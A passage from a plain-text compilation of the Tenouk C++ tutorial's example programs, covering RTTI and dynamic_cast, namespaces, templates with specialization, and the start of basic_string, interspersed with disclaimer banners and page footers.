file:///C|/Tutorial.txt

using namespace std;

class Base
{
public:
virtual void funct(){}
};

class Derived:public Base{};

int main()
{
Derived* Test1 = new Derived;
Base* Test2 = Test1;

cout<<"The type name of Test1 is: ";


cout<<typeid(Test1).name()<<endl;
cout<<"The type name of *Test1 is: ";
cout<<typeid(*Test1).name()<<endl;
cout<<"The type name of Test2 is: ";
cout<<typeid(Test2).name()<<endl;
cout<<"The type name of *Test2 is: ";
cout<<typeid(*Test2).name()<<endl;
delete Test1;
return 0;
}

-----------------------------------------G++ Linux / Fedora--------------------------------------------

//**********-typecast.cpp-**********
//upcast conversion using dynamic_cast
#include <iostream>
using namespace std;

//base class
class Base1 {};

//derived class...
class Derived1:public Base1 {};

//another derived class


class Derived2:public Derived1{};

//dynamic_cast test function...


void funct1()
{
//instantiate an object.
Derived2* Test1 = new Derived2;

//upcasting, from derived class to base class,


//Derived1 is a direct from Base1
//making Test2 pointing to Derived1 sub-object of Test1
Derived1* Test2 = dynamic_cast<Derived1*>(Test1);
cout<<"Derived1* Test2 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test2)
cout<<"The conversion is fail..."<<endl;

file:///C|/Tutorial.txt (334 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

else
cout<<"The conversion is successful..."<<endl;

//upcasting, from derived class to base class


//Derived2 is an indirect from Base1
Base1* Test3 = dynamic_cast<Derived1*>(Test1);
cout<<"\nBase1* Test3 = dynamic_cast<Derived1*>(Test1);"<<endl;
if(!Test3)
cout<<"The conversion is fail..."<<endl;
else
cout<<"The conversion is successful..."<<endl;
}

int main()
{
funct1();
return 0;
}

============================MODULE23=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>

file:///C|/Tutorial.txt (335 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//namespace with using directive. For VC++ (Ver > 4.0)/VC++ .Net
//change the header files accordingly....more info at the end of
//this Module...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream>
#include <stdlib.h>

namespace SampleOne
{
float p = 10.34;
}

namespace SampleTwo
{
using namespace SampleOne;
float q = 77.12;
namespace InSampleTwo
{
float r = 34.725;
}
}

int main()
{
//this directive gives you everything declared in SampleTwo
using namespace SampleTwo;
//this directive gives you only InSampleTwo
using namespace SampleTwo::InSampleTwo;
//local declaration, take precedence
float p = 23.11;

cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;

system("pause");
return 0;

file:///C|/Tutorial.txt (336 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

----------------------------------------------------------------------------------------------------

//namespace without using directive


#include <iostream>
#include <stdlib.h>

namespace NewNsOne
{
//declare namespace NewNsOne variable
int p = 4;
//declare namespace NewNsOne function
int funct(int q);
}

namespace NewNsTwo
{
//declare namespace NewNsTwo variable
int r = 6;
//declare namespace NewNsTwo function
int funct1(int numb);
//declare nested namespace
namespace InNewNsTwo
{
//declare namespace InNewNsTwo variable
long tst = 20.9456;
}
}

int main()
{
//The following four lines of code will generate error
//because it is not at global scope...

//namespace local
//{
//int k;
//}

cout<<"NewNsOne::p is "<<(NewNsOne::p)<<endl;
cout<<"NewNsTwo::r is "<<(NewNsTwo::r)<<endl;

cout<<"NewNsTwo::InNewNsTwo::tst is"<<(NewNsTwo::InNewNsTwo::tst)<<endl;

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------

//namespace alias
#include <iostream>
#include <stdlib.h>

namespace TheFirstLongNamespaceSample

file:///C|/Tutorial.txt (337 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
float p = 23.44;
namespace TheNestedFirstLongNamespaceSample
{
int q = 100;
}
}

//Alias namespace
namespace First = TheFirstLongNamespaceSample;

//Use access qualifier to alias a nested namespace


namespace Second = TheFirstLongNamespaceSample::TheNestedFirstLongNamespaceSample;

int main()
{
using namespace First;
using namespace Second;

cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------

//namespace extension
//cannot be compiled, no output, just sample code

//original namespace
namespace One
{
//declare namespace One variable
int p;
int q;
}

namespace Two
{
float r;
int s;
}

//namespace extension of the One


namespace One
{
//declare namespace One function
void funct1(void);
int funct2(int p);
}

int main()
{
}

file:///C|/Tutorial.txt (338 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//no output

----------------------------------------------------------------------------------------------------------

//namespace extension
#include <iostream>
#include <stdlib.h>

struct SampleOne
{};
struct SampleTwo
{};

//original namespace
namespace NsOne
{
//original function...
void FunctOne(struct SampleOne)
{
cout<<"Processing the struct argument..."<<endl;
}
}

using NsOne::FunctOne; //using-declaration...

//extending the NsOne namespace


namespace NsOne
{
//overloaded function...
void FunctOne(SampleTwo&)
{
cout<<"Processing the function argument..."<<endl;
}
}

int main()
{
SampleOne TestStruct;
SampleTwo TestClass;

FunctOne(TestStruct);
//The following function call fails because there are
//no overloaded version for this one
//FunctOne(TestClass);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------------------------------

//anonymous or unnamed namespace


#include <iostream>
#include <stdlib.h>

//Anonymous namespace

file:///C|/Tutorial.txt (339 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

namespace
{
int p = 1; //unique::p
}

void funct1()
{
++p; //unique::++p
}

namespace One
{
//Nested anonymous namespace
namespace
{
int p; //One::unique::p
int q = 3; //One::unique::q
}
}

//using-declaration
using namespace One;

void testing()
{
//++p; // error, unique::p or One::unique::p?
//One::++p; //error, One::p is undefined
cout<<"++q = "<<++q<<endl;
}

int main()
{
testing();
system("pause");
return 0;
}

------------------------------------------------------------------------------------------------------------

//using directive
#include <iostream>
#include <stdlib.h>

namespace One
{
float p = 3.1234;
}

namespace Two
{
using namespace One;

float q = 4.5678;
namespace InTwo
{
float r = 5.1234;

file:///C|/Tutorial.txt (340 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

}
}

int main()
{

//This using directive gives you all declared in Two


using namespace Two;
//This using directive gives you only the InTwo namespace
using namespace Two::InTwo;
//This is local declaration, it takes precedence
//comment this code and re run this program, see the different...
float p = 6.12345;

cout<<"p = "<<p<<endl;
cout<<"q = "<<q<<endl;
cout<<"r = "<<r<<endl;

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------

//using declaration
//Function funct2() defined in two different namespaces
#include <iostream>
#include <stdlib.h>

namespace One
{
float funct1(float q)
{
return q;
}

//First funct2() definition


void funct2()
{
cout<<"funct2() function, One namespace..."<<endl;
}
}
namespace Two
{
//Second funct2() definition
void funct2()
{
cout<<"funct2() function, Two namespace..."<<endl;
}
}

int main()
{
//The using declaration identifies the desired version of funct2()
using One::funct1; //Becomes qualified identifier
using Two::funct2; //Becomes qualified identifier

file:///C|/Tutorial.txt (341 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float p = 4.556; //Local declaration, takes precedence

cout<<"First p value, local = "<<p<<endl;

p = funct1(3.422);
cout<<"Second p value, by function call = "<<p<<endl;

funct2();

system("pause");
return 0;
}

------------------------------------------------------------------------------------------------------------------

//Explicit access, namespace within a class


#include <iostream>
#include <stdlib.h>

class One
{
public:
void funct1(char chs)
{cout<<"character = "<<chs<<endl;}
};

class Two:public One


{
public:
//The using directive is not allowed in class
//using namespace One;
void funct1(char *str)
{cout<<"String = "<<str<<endl;}

//using declaration is OK in class


using One::funct1; //overload Two::funct1()
};

int main()
{
Two Sample;

//Calling One::funct1()
Sample.funct1('P');
//Calling Two::funct1()
Sample.funct1("This is string");

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------

//namespace std example


//notice the omitted .h header files
#include <iostream>

file:///C|/Tutorial.txt (342 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//using C header in C++...the wrapper


#include <cstdlib>

void main()
{
std::cout<<"Demonstrating ";
using namespace std;
cout<<"the std namespace."<<endl;

system("pause");
}

------------------------------------------------------------------------------------------------------------------

/*Simple mathematics calculation*/


//This program is from module 1, C program.
//header files used is the C++ wrapper, no .h anymore.
//The stdlib.h for system("pause") also has been removed
#include <cstdio>

//main() function
int main( )
{
//variables declaration and initialization
int x, y, z;
x = 20;
y = 2;

printf("\nGiven x = 20, y = 2\n");


printf("\nx / y = %d", x / y);
x = x * y;
y = y + y;
printf("\nx = x * y");
printf("\ny = y + y");
printf("\nNew value for x / y = %d", x / y);
z = 20 * y / x;
printf("\nz = 20 * (y / x )= %d\n", z);

return 0;
}

-------------------------------------------------------------------------------------------------------------

//demonstrates the use of function prototypes


//C++ program, no .h anymore
#include <iostream>
//but has to explicitly use the 'using namespace std'
using namespace std;

typedef unsigned short USHORT;


//another method simplifying type identifier

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()

file:///C|/Tutorial.txt (343 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

cout<< "\nThe wide of your yard(meter)? ";


cin>> widthOfYard;
cout<< "\nThe long of your yard(meter)? ";
cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

cout<< "\nYour yard is ";


cout<< areaOfYard;
cout<< " square meter\n\n";

return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

-----------------------------------------------------------------------------------------------------------------

//demonstrates the use of function prototypes


//variation of the C++ program, no .h anymore
//without the 'using namespace std;'
#include <iostream>

typedef unsigned short USHORT;


//another method simplifying type identifier

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

//without using namespace std globally, you have to


//explicitly use the std for every occurrences of the...
std::cout<< "\nThe wide of your yard(meter)? ";
std::cin>> widthOfYard;
std::cout<< "\nThe long of your yard(meter)? ";
std::cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

std::cout<< "\nYour yard is ";


std::cout<< areaOfYard;
std::cout<< " square meter\n\n";

file:///C|/Tutorial.txt (344 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

-------------------------------------------------G++-----------------------------------------------------

//***************namespace.cpp**************/
//demonstrates the use of function prototypes
//variation of the C++ program, no .h anymore
//without the 'using namespace std;'
#include <iostream>

typedef unsigned short USHORT;


//another method simplifying type identifier

USHORT FindTheArea(USHORT length, USHORT width);


//function prototype

int main()
{
USHORT lengthOfYard;
USHORT widthOfYard;
USHORT areaOfYard;

//without using namespace std globally, you have to


//explicitly use the std for every occurrences of the...
std::cout<< "\nThe wide of your yard(meter)? ";
std::cin>> widthOfYard;
std::cout<< "\nThe long of your yard(meter)? ";
std::cin>> lengthOfYard;

areaOfYard = FindTheArea(lengthOfYard, widthOfYard);

std::cout<< "\nYour yard is ";


std::cout<< areaOfYard;
std::cout<< " square meter\n\n";

return 0;
}

USHORT FindTheArea(USHORT l, USHORT w)


{
return (l * w);
}

============================MODULE24=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |

file:///C|/Tutorial.txt (345 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

| exist, are the sole property of their respective owner and/or |


| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=======================BUT HERE ALL C++ codes============================

#include <iostream>
using namespace std;

//function template declaration and definition


template <class any_data_type>
any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1> Var2 ? Var1:Var2;
}

file:///C|/Tutorial.txt (346 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;

//some logical error here?


cout<<"\nLogical error, comparing pointers not the string..."<<endl;
char* p = "Function";
char* q = "Template";

cout<<"Address of *p = "<<&p<<endl;
cout<<"Address of *q = "<<&q<<endl;
cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(p,q)<<endl;
cout<<"Should use Specialization, shown later..."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//If you notice, other than the red color line of code, it is same as normal class, isn’t it?

template <class any_data_type>


class MyStack
{
private:
//number of the stack’s element
int size;
//top position
int top;
//data type pointer
any_data_type* StackPtr;

public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size – 1;}
};

-------------------------------------------------------------------------------------

//Another example of the template declaration:

template <class any_data_type>


class Vector
{
private:

file:///C|/Tutorial.txt (347 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

any_data_type *buffer;
//copy constructor
Vector<any_data_type> (const Vector <any_data_type> &Var1)
//overloaded assignment operator
Vector<any_data_type>& operator=(const Vector<any_data_type>& Var2)
//destructor
~Vector<any_data_type>();
//other member functions…
any_data_type& operator [ ] (unsigned int index);
const any_data_type& operator [ ] (unsigned int index) const;
}

----------------------------------------------------------------------------------------

//simple class template program example


//------declaration and definition part--------
template <class any_data_type>
class MyStack
{
private:
//number of the stack's element
int size;
//top position
int top;
//data type pointer
any_data_type* StackPtr;

public:
//constructor...
MyStack(int =10);
//destructor...
~MyStack(){delete [] StacKPtr;}
//put in data...
int push(const any_data_type&);
//take out data...
int pop(any_data_type&);
//test the emptiness...
int IsEmpty() const {return top == -1;}
//test the fullness...
int IsFull() const {return top == size - 1;}

};

//----the main() program--------


int main()
{
return 0;
}

----------------------------------------------------------------------------------------------

//normal class
class MyClass
{
//...
//but, have template member function...

file:///C|/Tutorial.txt (348 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

template <class any_data_type>


void MemberFunct(any_data_type)
{};
};

int main()
{
return 0;
}

------------------------------------------------------------------------------------------------

template <class any_data_type>


class MyClass
{
//...
//nested class template
template <class another_data_type>
class NestedClass
{};
//...
};

int main()
{
return 0;
}

-------------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

//-------class template declaration part---


//-------test.h-----
template <class any_data_type>
class Test
{
public:
//constructor
Test();
//destructor
~Test();
//function template
any_data_type Data(any_data_type);
};

template <class any_data_type>


any_data_type Test<any_data_type>::Data(any_data_type Var0)
{return Var0;}

//------class template definition part--------


//----should be in the same header file with--
//----the class template declaration------
//constructor
template <class any_data_type>

file:///C|/Tutorial.txt (349 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

Test<any_data_type>::Test()
{cout<<"Constructor, allocate..."<<endl;}

//destructor
template <class any_data_type>
Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}

//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;

cout<<"\nOne template fits all data type..."<<endl;


cout<<"Var1, int = "<<Var1.Data(100)<<endl;
cout<<"Var2, double = "<<Var2.Data(1.234)<<endl;
cout<<"Var3, char = "<<Var3.Data('K')<<endl;
cout<<"Var4, char* = "<<Var4.Data("The class template")<<"\n\n";
return 0;
}

------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

//-------class template declaration part---


//-------test.h file-----
template <class any_data_type>
class Test
{
public:
//constructor
Test();
//destructor
~Test();
//function template
any_data_type Data(any_data_type);
};

template <class any_data_type>


any_data_type Test<any_data_type>::Data(any_data_type Var0)
{return Var0;}

//------class template definition part--------


//----should be in the same header file with--
//----the class template declaration------
//constructor
template <class any_data_type>
Test<any_data_type>::Test()
{cout<<"Constructor, allocate..."<<endl;}

//destructor

file:///C|/Tutorial.txt (350 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

template <class any_data_type>


Test<any_data_type>::~Test()
{cout<<"Destructor, deallocate..."<<endl;}
//do not run this program
//make sure there is no error such as typo etc

------------------------------------------------------------------------------------------------

//And the main() program is shown below.

//----test.cpp file------------
//---compile and run this program----
//--------main program--------
int main()
{
Test<int> Var1;
Test<double> Var2;
Test<char> Var3;
Test<char*> Var4;

cout<<"\nOne template fits all data type..."<<endl;


cout<<"Var1, int = "<<Var1.Data(100)<<endl;
cout<<"Var2, double = "<<Var2.Data(1.234)<<endl;
cout<<"Var3, char = "<<Var3.Data('K')<<endl;
cout<<"Var4, char* = "<<Var4.Data("The class template")<<"\n\n";
return 0;
}

----------------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

template <class any_data_type>


class Test
{
public:
//constructor
Test(){};
//destructor
~Test(){};
//member function templates...
any_data_type Funct1(any_data_type Var1)
{return Var1;}
any_data_type Funct2(any_data_type Var2)
{return Var2;}
};

//do some testing


int main()
{
//Implicit instantiation generates class Test<int>...
Test<int> Var1;
//Implicit instantiation generates class Test<double>...
Test<double> Var2;

file:///C|/Tutorial.txt (351 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Implicit instantiation..."<<endl;
//and generates function Test<int>::Funct1()
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
//and generates function Test<double>::Funct2()
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}

------------------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

template <class any_data_type>


class Test
{
public:
//constructor
Test(){};
//destructor
~Test(){};
//member functions...
any_data_type Funct1(any_data_type Var1)
{return Var1;}
any_data_type Funct2(any_data_type Var2)
{return Var2;}
};

//explicit instantiation of class Test<int>


template class Test<int>;
//explicit instantiation of class Test<double>
template class Test<double>;

//do some testing


int main()
{
Test<int> Var1;
Test<double> Var2;
cout<<"Var1 = "<<Var1.Funct1(200)<<endl;
cout<<"Var2 = "<<Var2.Funct2(3.123)<<endl;
return 0;
}

---------------------------------------------------------------------------------------------------

//implicit instantiation
#include <iostream>
using namespace std;

template <class any_data_type>


any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1 > Var2 ? Var1:Var2;
}

//do some testing

file:///C|/Tutorial.txt (352 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
int p;
char q;
p = MyMax(100, 200);
q = MyMax('k', 'K');

//implicit instantiation of MyMax(int, int)


cout<<"MyMax(100, 200) = "<<p<<endl;
//implicit instantiation of MyMax(char, char)
cout<<"MyMax('k', 'K') = "<<q<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

//explicit instantiation
#include <iostream>
using namespace std;

template <class any_data_type>


any_data_type Test(any_data_type Var1)
{
return Var1;
}

//explicit instantiation of Test(int)


template int Test<int>(int);

//do some testing


int main()
{
cout<<"Var1 = "<<Test(100)<<endl;
return 0;
}

----------------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

template <class any_data_type>


class TestVirt
{
public:
virtual any_data_type TestFunct(any_data_type Var1)
{return Var1;}
};

//do some testing


int main()
{
//implicit instantiation of TestVirt<int>
TestVirt<int> Var1;

cout<<"Var1.TestFunct(100) = "<<Var1.TestFunct(100)<<endl;

file:///C|/Tutorial.txt (353 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

------------------------------------------------------------------------------------------------------

#include <iostream>
#include <string>
using namespace std;

template <class any_data_type>


inline any_data_type MyMax(const any_data_type& Var1, const any_data_type& Var2)
{
cout<<"Checking..."<<endl;
return Var1 < Var2 ? Var2 : Var1;
}

//do some testing


int main()
{
int Highest = MyMax(7, 20);
char p = MyMax('x' , 'r');
string Str1 = "Class", Str2 = "Template";
string MaxStr = MyMax(Str1, Str2);

cout<<"The bigger between 7 and 20 is "<<Highest<<endl;


cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is "<<MaxStr<<"\n\n";

const char *Var3 = "Class";


const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);

cout<<"Logical error, comparing the pointer, not the string..."<<endl;


cout<<"Address of the *Var3 = "<<&Var3<<endl;
cout<<"Address of the *Var4 = "<<&Var4<<endl;
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
cout<<"Need specialization here..."<<endl;
return 0;
}

------------------------------------------------------------------------------------------------------

#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;

//primary template, for all type


template <class any_data_type>
any_data_type MyMax(const any_data_type Var1, const any_data_type Var2)
{
cout<<"Primary template..."<<endl;
return Var1 < Var2 ? Var2 : Var1;
}

file:///C|/Tutorial.txt (354 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//specialization for const char *, empty parameter list


template <>
const char *MyMax(const char *Var1, const char *Var2)
{
cout<<"Specialization..."<<endl;
//comparison for const char *
return (strcmp(Var1, Var2)<0) ? Var2 : Var1;
}

//do some testing


int main()
{
//call primary
int Highest = MyMax(7, 20);
//call primary
char p = MyMax('x' , 'r');
string Str1 = "Class", Str2 = "Template";
//call primary
string MaxStr = MyMax(Str1, Str2);

cout<<"The bigger between 7 and 20 is "<<Highest<<endl;


cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is "<<MaxStr<<"\n\n";

//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;
return 0;
}

------------------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

//general, justice for all type:-)


template <class any_data_type>
any_data_type Test(any_data_type Var1)
{return Var1;}

//partial specialization for all pointers type


template <class any_data_type>
any_data_type * Test(any_data_type *Var2)
{return Var2;}

//specialization, just for const char *


template <>
const char * Test(const char *Var3)
{return Var3;}

//do some testing


int main()
{
int p = 5;

file:///C|/Tutorial.txt (355 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//calls Test(any_data_type
int q = Test(p);
double r = Test(3.1234);

cout<<"General types = "<<q<<endl;


cout<<"General types = "<<r<<endl;

//calls Test(any_data_type*)
int *s = Test(&p);
char *t = "Partial lor!";
cout<<"Partial types = "<<s<<endl;
cout<<"Partial types = "<<t<<endl;

//calls Test(const char *)


const char *u = Test("Specialized!");
cout<<"Specialization type = "<<u<<endl;
return 0;
}

-------------------------------------------------------------------------------------------------------

#include <iostream>
using namespace std;

template <class any_data_type>


any_data_type MyMax(any_data_type Var1, any_data_type Var2)
{
return Var1 > Var2 ? Var1:Var2;
}

//specialization of MyMax() for char *


template<>
char* MyMax(char* Var3, char* Var4)
{
return strcmp(Var3,Var4)> 0 ? Var3:Var4;
}

int main()
{
cout<<"MyMax(10,20) = "<<MyMax(10,20)<<endl;
cout<<"MyMax('Z','p') = "<<MyMax('Z','p')<<endl;
cout<<"MyMax(1.234,2.345) = "<<MyMax(1.234,2.345)<<endl;
char* Var3 = "Function";
char* Var4 = "Template";
cout<<"\nTesting...."<<endl;
cout<<"Address of *Var3 = "<<&Var3<<endl;
cout<<"Address of *Var4 = "<<&Var4<<endl;

cout<<"MyMax(\"Function\",\"Template\") = "<<MyMax(Var3,Var4)<<endl;
return 0;
}

--------------------------------------------------------------------------------------------------------

template <class any_data_type>


class MyClass

file:///C|/Tutorial.txt (356 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
typename any_data_type::another_data_type * ptr;
//...
};

int main()
{
return 0;
}

------------------------------------------------G++ on Fedora------------------------------------------------------

//*******template.cpp**********
#include <iostream>
#include <string>
//for strcmp()
#include <cstring>
using namespace std;

//primary template, for all type


template <class any_data_type>
any_data_type MyMax(const any_data_type Var1, const any_data_type Var2)
{
cout<<"Primary template..."<<endl;
return Var1 < Var2 ? Var2 : Var1;
}

//specialization for const char *, empty parameter list


template <>
const char *MyMax(const char *Var1, const char *Var2)
{
cout<<"Specialization..."<<endl;
//comparison for const char *
return (strcmp(Var1, Var2)<0) ? Var2 : Var1;
}

//do some testing


int main()
{
//call primary
int Highest = MyMax(7, 20);
//call primary
char p = MyMax('x', 'r');
string Str1 = "Class", Str2 = "Template";
//call primary
string MaxStr = MyMax(Str1, Str2);

cout<<"The bigger between 7 and 20 is "<<Highest<<endl;


cout<<"The bigger between 'x' and 'r' is "<<p<<endl;
cout<<"The bigger between \""<<Str1<<"\" and \""<<Str2<<"\" is "<<MaxStr<<"\n\n";

//call specialization
const char *Var3 = "Class";
const char *Var4 = "Template";
const char *q = MyMax(Var3, Var4);
cout<<"The bigger between \""<<Var3<<"\" and \""<<Var4<<"\" is "<<q<<endl;

file:///C|/Tutorial.txt (357 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

============================Module25=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================

file:///C|/Tutorial.txt (358 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//char and wchar_t types


#include <string>
#include <iostream>
using namespace std;

int main( )
{
const basic_string <char> str1("TEST");
//Uses the typedef for string word
//synonym to basic_string <char>
string str2("TEST");

//simple comparison between two


//objects of type basic_string
cout<<"String str1: "<<str1<<"\nString str2: "<<str2<<endl;
cout<<"Operation: (str1 == str2)"<<endl;
if(str1 == str2)
cout<<"Strings str1 & str2 are equal."<<endl;
else
cout<<"Strings str1 & str2 are not equal."<<endl;

//L - literal qualifier, long


const basic_string <wchar_t> str3(L"TESTING");
//Uses the typedef for wstring word
//synonym to basic_string <wchar_t>
wstring str4(L"JUMPING");

//simple comparison between two objects


//of type basic_string <wchar_t>
cout<<"\nString str3: TESTING \nString str4: JUMPING"<<endl;
cout<<"Operation: (str3 == str4)"<<endl;
if(str3 == str4)
cout<<"Strings str3 & str4 are equal."<<endl;
else
cout<<"Strings str3 & str4 are not equal."<<endl;
return 0;
}

-----------------------------------------------------------------------------------------------

//== and != operators


#include <string>
#include <iostream>
using namespace std;

int main( )
{
//Declaring an objects of type basic_string<char>
string str1("testingone");
string str2("testingtwo");
cout<<"str1 string is = "<<str1<<endl;
cout<<"str2 string is = "<<str2<<endl;
